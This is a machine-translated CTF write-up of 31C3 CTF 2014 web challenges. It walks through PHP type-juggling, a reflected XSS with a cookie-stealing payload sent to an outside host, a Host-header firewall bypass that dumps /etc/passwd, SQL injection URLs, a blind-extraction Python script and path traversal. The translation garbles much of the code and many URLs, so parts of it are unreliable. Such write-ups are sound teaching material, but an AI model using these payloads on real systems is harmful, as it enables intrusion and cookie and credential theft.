∑ – TEAM · 2015/01/07 it

0 x00 background


31C3 CTF is still very humane and can be played after the game is over. I wrote a writeup, which I couldn’t do at that time.

Answer the following questions can read English here at https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web

0x01 pCRAPp


PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/

This one takes a lot of PHP tricks to put together. This is the submission required for clearance.

http://188.40.18.69/pCRAPp.php?a= {% 22 a1%22: % 221337 a % 22, % 22 a2%22: [[1], 1,2,3,0]} = 0001 & b & c [0] = 0031 c3 & c [1], [] = 1111 & d = % 00Copy the code

Analyze each knowledge step by step, in fact, a lot of skills at http://drops.wooyun.org/tips/4483 have talked about in this article.

This makes use of the weak typing feature of PHP, where an int is compared to a line of another type and the other type intval is first compared.

#! php is_numeric(@$a["a1"])? die("nope"):NULL; if(@$a["a1"]){ ($a["a1"]>1336)? $v1=1:NULL; }Copy the code

The same principle applies here, array_search uses’ CTF ‘to compare each value in array, and intval(‘ CTF ‘)==0.

#! php if(is_array(@$a["a2"])){ if(count($a["a2"])! ==5 OR ! is_array($a["a2"][0])) die("nope"); $pos = array_search("ctf", $a["a2"]); $pos===false? die("nope"):NULL; foreach($a["a2"] as $key=>$val){ $val==="ctf"? die("nope"):NULL; } $v2=1; }Copy the code

Here with the help of a BUG, http://blog.51yip.com/php/934.html. Under Windows 1.1.1 this construct also returns an error.

#! php if(preg_match("/^([0-9]+\.? [0-9]+)+$/",@$_GET['b'])){ $b=json_decode(@$_GET['b']); if($var = $b === NULL){ ($var===true)? $v3=1:NULL; }}Copy the code

The trick here is that the STRCMP comparison between array and string returns null, and %00 truncates eregi

#! php $c=@$_GET['c']; $d=@$_GET['d']; if(@$c[1]){ if(! strcmp($c[1],$d) && $c[1]! ==$d){ eregi("3|1|c",$d.$c[0])? die("nope"):NULL; strpos(($c[0].$d), "31c3")? $v4=1:NULL; } } if($v1 && $v2 && $v3 && $v4){ include "flag.php"; echo $flag; }Copy the code

0x02 Page Builder


These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it

This problem is divided into two steps, the first step to construct an error page. Filename displayed on the error page does not have escape.

The following structural parameters

filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=style1&content=aaa 
Copy the code

A reflective XSS is formed

http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/ < img SRC = x onerror = alert (1) >. PHPCopy the code

We can construct a connection that steals cookies

http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/ < SVG onload=eval(document.location.hash.slice(1))>.php#document.location='http://lanantest.sinaapp.com/?'+document.cookieCopy the code

The second step is to submit this XSS to Contact Us, so you can steal the cookie, and you can see the Flag

0x03 HTTP


Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility of Ruby.

Get the source at:

http.tar.bz2 Some example sites hosted with our webserver:

http://works.90.31c3ctf.aachen.ccc.de/works.html

http://31c3ctf.90.31c3ctf.aachen.ccc.de/announcements.html

Given a simple WebServer, first look at the source code.

In the run.sh command, you can see that the packet passes through fw.rb and then enters server_file.

#! bash exec socat "TCP-LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a .. /www.log)Copy the code

Server_file. c will read the path file in the host directory and return it.

#! c if (chdir(host) == -1) { goto _404; } int fd= open(path, O_RDONLY); if (fd == -1) { goto _404; } struct stat stat; if (fstat(fd, &stat) == -1) { goto _404; } const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0); if (file == NULL) { goto _404; } close(fd);Copy the code

However, sending requests like this can be forbidden by fw.rb.

[email protected]: ~ # curl http://works.90.31c3ctf.aachen.ccc.de/passwd - H 'Host: / etc/whoCopy the code

Again, the fw.rb logic gets the Host that was last present

#! ruby def parse_headers(line_reader) line_reader.collect do |line| [$1, $2] if line=~ /\A([^:]*): *(.*)\z/ end.compact.inject({}) { |h, x| h[x[0]]= x[1]; h } endCopy the code

Serve_file will get the Host that first appears

#! c for (;;) { if (! read_line(buffer, &buf_size)) { goto invalid; } if (*buffer == '\r') { goto invalid; } if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) { break; } char *eol= strchr(buffer, '\r'); buf_size-= eol-buffer-2; buffer= eol+2; }Copy the code

So we can construct two hosts to bypass fw.rb.

[email protected]: ~ # curl http://works.90.31c3ctf.aachen.ccc.de/passwd - H 'Host: / etc/' -h' Host: Works. 90.31 c3ctf. Helmholtz-institute for biomedical engineering. CCC. DE '0-0 at root: x: : root: / root: / bin/bash the daemon: x: 1: the daemon: / usr/sbin, / usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin syslog:x:100:103::/home/syslog:/bin/false messagebus:x:101:105::/var/run/dbus:/bin/false uuidd:x:102:107::/run/uuidd:/bin/false landscape:x:103:110::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag:Copy the code

0x04 5CHAN


5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?

http://188.40.18.89/
Copy the code

First visit http://188.40.18.89/robots.txt, find a backup directory, download to get the source code.

If you look at the code, you can easily find an SQL injection vulnerability

http://188.40.18.89/?page=pic&id=9 union select * from pictures  where id=9 -- a
Copy the code

0x05 Devilish


It’s some devilish community public portal, we’re pretty sure there’s something else out there, a private portal maby, we’d like to know the secret behind it.

http://188.40.18.70/

Start by finding an SQl injection as a breakthrough.

http://188.40.18.70/PROFILE/54\/KiTTyKiTTy 
Copy the code

You can find the SQL statement to execute in the comments of the page

<! --SELECT * FROM users WHERE id_user='54\' AND Us3rN4m3='KiTTyKiTTy'-->Copy the code

Injection points filter out a lot of things, and XML error reporting is something you can take advantage of with trial and error.

http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 us3rn4m3 (select % % % 09 from 09 09 limit users % % 091))) - % 09Copy the code

Because information_schema is filtered, we need a different way to guess the field name

http://188.40.18.70/PROFILE/54%5C/-%28select%09 * % 09 from 28 select % 09% % % % % 09 * 09 from 09 users 09 09 users join % % 09 28 id_u 09 using b % % ser,Us3rN4m3,Em4iL4dr3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL%29%29c%29--%09Copy the code

P4sWW0rD_0F_M3_WTF = P4sWW0rD_0F_M3_WTF

Because the length of the error message is limited, all the passwords will not be displayed here.

http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 p4sww0rd_0f_m3_wtf (select % % % 09 from 09 09 limit users % % 091))) - % 09Copy the code

We can use locate violence to guess the rest of the passwords. I wrote a terrible script

#! python import requests import string charset = string.ascii_letters + string.digits print charset if __name__=='__main__': ipass = 'sd654egezjniufsdqc89q7d65azd123' print ipass.encode('hex') while True: for i in charset: t = ipass + i r = Requests. The get (' http://188.40.18.70/PROFILE/56\/-extractvalue (1, concat (0 x5c, 09 locate (select % (0 x '+ t.e ncode (' hex) +', P4sWW0r D_0F_M3_WTF)%09from%09users%09limit%091)))--%09') if r.text.find('XPATH syntax error: \'\1\'')! =-1: print 'Got it! '+i ipass = t print ipass else: print 'No! '+iCopy the code

Run out the full exit code

Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz 
Copy the code

After login, a more obvious file traversal shows that the site also has a hidden directory.

http://188.40.18.70/ACCESS?action=browse&dir=.. /.. /.. /.. /.. /var/www/html/__WebSiteFuckingPrivateContentNotForPublic666Copy the code

Visit the page inside to get the source code

[email protected] : ~ # curl http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD

#! php <? php if(@$_SESSION['user']){header("location: ".$LINK); die(); } if(isset($_POST['user'])){ if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){ $_SESSION=$_POST; header("location: ".$LINK); die(); }else{ $Error=1; }}? >Copy the code

But Flag is not there, it is hidden in another Web service. You can see it in this directory.

http://188.40.18.70/ACCESS?action=browse&dir=.. /.. /.. /.. /.. /.. /.. /home/devilish.local/__WebSiteFuckingPrivateContentNotForPublic666%2b666Copy the code

The INDEX file in the server outputs flags

#! html[email protected]: ~ # curl "http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" - H "Host: devilish.local" <br/> This is the private Portal of us<br/><br/> If you are accessing this page this means you are one of the very few exclusive members who are allowed to come in here! <br/> <br/> <? php echo($logged?" Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")? > <span class="styleX">s</span>Copy the code

Is_ExclusiveMember =1 in the POST data, because $_SESSION=$_POST will be synchronized to the session.

Then go to devilish.local and get flag